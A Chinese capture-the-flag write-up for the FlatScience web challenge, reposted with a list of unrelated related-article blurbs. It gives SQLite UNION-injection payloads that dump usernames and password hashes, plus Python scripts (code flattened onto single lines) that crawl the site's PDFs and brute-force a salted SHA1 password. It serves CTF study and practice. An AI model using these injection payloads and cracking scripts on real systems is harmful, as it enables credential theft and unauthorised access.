攻防世界-web-FlatScience

1. 题目描述

打开链接,看到如下界面

界面上的链接都点击下,发现都是一些英文论文

这些暂时是我们从界面上能发现的全部信息了

2. 思路分析 && 解题过程

2.1 先将网站使用nikto命令扫描一下

我们发现除了显式的界面外,还有两个隐藏的界面,一个是admin.php,一个是login.php

我们访问admin.php

这里是一个管理员登录界面,给了默认账号名,但是没有密码

然后访问login.php

和管理员登录界面类似,也是需要输入用户名和密码的

2.2 使用burpsuite访问看是否存在更多信息

我们发现这个有个debug模式的说明,说明大概率开启了debug模式,那么我们在访问login.php时带上参数debug=1

好的,此时我们发现相应的代码已经回显出来了,通过分析代码,我们发现传入的usr字段时存在sql注入的,且对应的后台数据库为sqlite3

2.3 然后就是常用的sql注入环节了

这里和之前mysql不太一样,因为这里是sqlite数据库,因此这里有些sqlite的背景知识需要了解

这里仍然是通过union select的方式确认表中的字段(或者order by也行)

通过尝试,发现只有select 1, 2的时候才不会报错,且会显示第二个字段

ok,接下来就是查询sqlite_mater表中的信息了

将usr设置为1' union select name,sql from sqlite_master -- 1

可以看到数据库中又一张Users表,里面有id,name, password,hint等字段

我们使用同样的方式可以查出表中的所有用户和密码

- usr=1' union select id,name from Users limit 0,1

- usr=1' union select id,password from Users limit 0,1

这样就查出了第一个用户的用户名和密码,且通过修改limit语句,可以查出所有用户的用户名和密码以及hint字段

这里第一个查出来用户名是admin,进行sha1编码后的密码是3fab54a50e770d830c0416df817567662a9dc85c,hint值为my fav word in my fav paper

获取到用户名,密码后接下来就是对密码进行解密了,从login.php的代码中我们不难发现,数据库中的密码是做了一层转换的

2.4 解密环节

既然是做了一层转换,那么如何解密了,这种唯有爆破,当然,根据提示不难发现密码隐藏在网站的pdf论文中

这里参考网上的做法(脚本也参考网上的),从所有论文中单词中对密码进行爆破,脚本如下(来源攻防世界web进阶区FlatScience详解_flatscience 攻防世界-CSDN博客):

这个是用来爬取所有pdf的

import requests
import re
import os
import sysre1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'pdf_list = []
def get_pdf(url):global pdf_list print(url)req = requests.get(url).textre_1 = re.findall(re1,req)for i in re_1:pdf_url = url+ipdf_list.append(pdf_url)re_2 = re.findall(re2,req)for j in re_2:new_url = url+j[0:2]get_pdf(new_url)return pdf_list# return re_2pdf_list = get_pdf('http://61.147.171.105:58209/')
print(pdf_list)
for i in pdf_list:os.system('wget '+i)

这个是用来爆破解密的

from io import StringIO#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreterimport sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Requestdef get_pdf():return [i for i in os.listdir("./") if i.endswith("pdf")]def convert_pdf_to_txt(path_to_file):rsrcmgr = PDFResourceManager()retstr = StringIO()codec = 'utf-8'laparams = LAParams()device = TextConverter(rsrcmgr, retstr, laparams=laparams)fp = open(path_to_file, 'rb')interpreter = PDFPageInterpreter(rsrcmgr, device)password = ""maxpages = 0caching = Truepagenos=set()for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):interpreter.process_page(page)text = retstr.getvalue()fp.close()device.close()retstr.close()return textdef find_password():pdf_path = get_pdf()for i in pdf_path:print ("Searching word in " + i)pdf_text = convert_pdf_to_txt("./"+i).split(" ")for word in pdf_text:sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):print ("Find the password :" + word)exit()if __name__ == "__main__":find_password()

执行这俩脚本,得到admin的密码为:ThinJerboa

2.5 登录admin

成功获取到flag为flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

3. 总结

该题算是难度比较高的一道题,综合性很强,考察了sql注入,扫描,爬虫,爆破等常见攻防知识,更重要的是,将这些结合起来,一环扣一环。这种综合性较强的题目非常适合安全人员个人能力的提升和进阶

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/118651.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mysql数据库 4.SQL语言 DQL数据操纵语言 查询

DQL数据查询语言 从数据表中提取满足特定条件的记录 1.单表查询 2.多表查询 查询基础语法 select 关键字后指定要查询到的记录的哪些列 语法:select 列名(字段名)/某几列/全部列 from 表名 [具体条件]; select colnumName…

华为昇腾NPU卡 大模型LLM ChatGLM2模型推理使用

参考:https://gitee.com/mindspore/mindformers/blob/dev/docs/model_cards/glm2.md#chatglm2-6b 1、安装环境: 昇腾NPU卡对应英伟达GPU卡,CANN对应CUDA底层; mindspore对应pytorch;mindformers对应transformers 本…

Vue-dvadmin-d2-crud-plus-自定义后台菜单-添加页面

文章目录 1.新建数据模型2.新建数据序列类3.新建数据视图4.配置路由5.前端新建View组件6.配置后台7.总结 django-vue-admin是一套全部开源的快速开发平台,毫无保留给个人及企业免费使用。 🧑‍🤝‍🧑前端采用D2Admin 、Vue、Eleme…

Linux网络流量监控iftop

在 Linux 系统下即时监控服务器的网络带宽使用情况,有很多工具,比如 iptraf、nethogs 等等,但是推荐使用小巧但功能很强大的 iftop 工具【官网:http://www.ex-parrot.com/~pdw/iftop/】。iftop 是 Linux 系统一个免费的网卡实时流…

Path Gain and Channel Capacity for HAP-to-HAP Communications

文章目录 摘要实验仿真场景一: 距离变化对同海拔高度HAP的影响场景二:距离变化对不同海拔高度HAP通信的影响。场景三:平台高度和频率对HAP通信的影响四 信道容量 摘要 在这项研究中,我们重点分析了HAP之间的信道模型,…

HeidiSQL数据库管理工具使用教程

HeidiSQL数据库管理工具使用教程 功能介绍1. 下载使用2. 连接mysql3. SQL编辑器4. 数据导入和导出5. 批量操作6. 备份和恢复 功能介绍 HeidiSQL(HeidiSQL数据库管理工具)是一个开源的数据库管理工具,通常用于连接和管理关系型数据库系统。它…

边缘计算:云计算的延伸

云计算已经存在多年,并已被证明对大大小小的企业都有好处;然而,直到最近边缘计算才变得如此重要。它是指发生在网络边缘的一种数据处理,更接近数据的来源地。 这将有助于提高效率并减少延迟以及设备和云之间的数据传输成本。边缘…

EtherNet Ip工业RFID读写器与欧姆龙PLC 配置示例说明

一、准备阶段 POE交换机欧姆龙PLC 支持EtherNet Ip协议CX-Programmer 9.5配置软件 二、配置读卡器 1、打开软件 2、选择网卡,如果多网卡的电脑请注意对应所接的网卡,网卡名一般为“Network adapter Realtek PCIe GBE Family” 3、点击“选择网卡”&…

douyin ios 六神参数学习记录

玩那么久安卓了,也终于换一换ios终端分析分析,还是熟悉的x-gorgon,x-argus,x-medusa那些参数。 随便抓个抖音 ios版本的接口: 像评论接口: https://api26-normal-hl.amemv.com/aweme/v2/comment/list/?…

机器学习之查准率、查全率与F1

文章目录 查准率(Precision):查全率(Recall):F1分数(F1 Score):实例P-R曲线F1度量python实现 查准率(Precision): 定义: …

低概率Bug,研发敷衍说复现不到

测试工作中,经常会遇到一些低概率出现的问题,如果再是个严重问题,那测试人员的压力无疑是很大的,一方面是因为低概率难以复现,另一面则是来自项目组的压力。 如何在测试时减少此类问题的重复投入,我的思考如…

自研框架跻身全球 JS 框架榜单,排名紧随 React、Angular 之后!

前言 终于实现了一个重要目标!我独立研发的 JavaScript 框架 Strve,最近发布了重大版本 6.0.2。距离上次大版本发布已经接近两个月,期间进行了大量的优化,使得框架性能和稳定性都得到了大幅度的提升。在上次的大版本更新中&#…

css 两栏布局的实现

目录 前言 1. 浮动布局 用法 代码示例 理解 2. Flex布局 用法 代码示例 理解 3. Grid布局 用法 代码示例 理解 高质量的设计 前言 两栏布局是一种常见的网页设计模式,它将页面分为两个主要区域:主内容区域和侧边栏。这种布局方式不仅能够提…

在docker环境下从头搭建openvslam/orb_slam3的流程记录以及问题总结

文章目录 0. 前言1. MobaXterm软件2. docker操作2.1. 拉一个ubuntu镜像2.2. 修改名字(可选)2.3. 删除之前的docker镜像(可选) 3. openvslam搭建流程3.1. 起容器3.2. 前置包的安装3.3. 安装Eigen3.4. 安装opencv3.5. 安装DBoW23.6.…

MySQL——九、SQL编程

MySQL 一、触发器1、触发器简介2、创建触发器3、一些常见示例 二、存储过程1、什么是存储过程或者函数2、优点3、存储过程创建与调用 三、存储函数1、存储函数创建和调用2、修改存储函数3、删除存储函数 四、游标1、声明游标2、打开游标3、使用游标4、关闭游标游标案例 一、触发…

Flutter extended_image库设置内存缓存区大小与缓存图片数

ExtendedImage ExtendedImage 是一个Flutter库,用于提供高级图片加载和显示功能。这个库使用了 image 包来进行图片的加载和缓存。如果你想修改缓存大小,你可以通过修改ImageCache的配置来实现。 1. 获取ImageCache实例: 你可以通过PaintingBinding…

超级强大!送你几款Linux 下终极SSH客户端

更多IT技术,请关注微信公众号:“运维之美” 超级强大!送你几款Linux 下终极SSH客户端 1.MobaXterm2.Xshell3.SecureCRT4.PuTTY5.FinalShell6.Termius7.WindTerm 安全外壳协议(Secure Shell,简称 SSH)是一种网络连接协议…

【Gensim概念】02/3 NLP玩转 word2vec

第二部分 句法 六、句法模型(类对象和参数) 6.1 数据集的句子查看 classgensim.models.word2vec.BrownCorpus(dirname) Bases: object 迭代句子 Brown corpus (part of NLTK data). 6.2 数据集的句子和gram classgensim.models.word2vec.Heapitem(c…

【Docker】Docker数据的存储

默认情况下,在运行中的容器里创建的文件,被保存在一个可写的容器层里,如果容器被删除了,则对应的数据也随之删除了。 这个可写的容器层是和特定的容器绑定的,也就是这些数据无法方便的和其它容器共享。 Docker主要提…

智能井盖监测系统功能,万宾科技传感器效果

智能井盖传感器的出现是高科技产品的更新换代,同时也是智慧城市建设中的需求。在智慧城市建设过程之中,高科技产品的应用数不胜数,智能井盖传感器的出现,解决了城市道路安全保护着城市地下生命线,改善着传统井盖带来的…